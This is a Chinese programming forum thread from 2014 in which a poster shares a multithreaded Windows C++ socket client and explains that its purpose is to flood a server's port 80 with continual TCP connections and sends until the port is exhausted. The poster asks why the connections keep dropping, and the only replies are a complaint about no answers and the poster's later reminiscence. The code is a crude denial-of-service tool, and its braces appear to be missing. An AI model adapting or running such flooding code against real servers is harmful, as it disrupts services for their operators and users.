日期:2014-05-17  浏览次数:20981 次

socket基于tcp协议开发了一个客户端程序,如何才能持续不断地给服务器发消息,以造成服务器80端口阻塞
首先,我用socket基于tcp协议开发了一个客户端程序,该程序可以有多个线程并发执行, 
  希望其能够不断的向服务器发送连接请求信息,一但连接上就一直send数据,若send或连接失败,则关闭当前套接字,重新开辟新的套接字继续连接。希望通过这种方式,把服务器的端口(80端口)资源给消耗完。 
  以下是线程函数的代码,大家看看,有什么问题吗,我在用时发现,只能与服务器连接一段时间,就探测不到其与服务器有连接, 
但是所开辟的多个线程确实还在,就不明白为什么会与服务器断开呢, 
DWORD WINAPI CTcpSendDlg::Fun2Proc(LPVOID lpParameter) 

CLIENTPARA * clientpar =  (CLIENTPARA *)lpParameter; 
int ite = clientpar->itemp; 

while(m_bThreadEnd) 
{  


SOCKET sockClient=socket(AF_INET,SOCK_STREAM,0); 
SOCKADDR_IN addrSrv; 
addrSrv.sin_addr.S_un.S_addr=inet_addr(clientpar->IP); //IP 
addrSrv.sin_family=AF_INET; 
addrSrv.sin_port=htons(clientpar->port); //端口号 


CString strTemp=""; 
strTemp.Format("%d",clientpar->itemp); 
// m_strSend[0] = 'A'+ite; 
int iconnect = connect(sockClient,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR)); 
if (iconnect != SOCKET_ERROR) //连接成功 

int nRet = send(sockClient,m_strSend,strlen(m_strSend)+1,0); 
if(nRet == SOCKET_ERROR) //发送失败 

closesocket(sockClient); 
strTemp+="发送失败"; 
continue; 


Sleep(10); 

else    //连接失败 

closesocket(sockClient); 
Sleep(5); 
continue; 




return 0; 

------解决方案--------------------
没人来回帖啊
------解决方案--------------------
三年啦,又看到自己刚出来工作时候发的帖子不禁感慨万千啊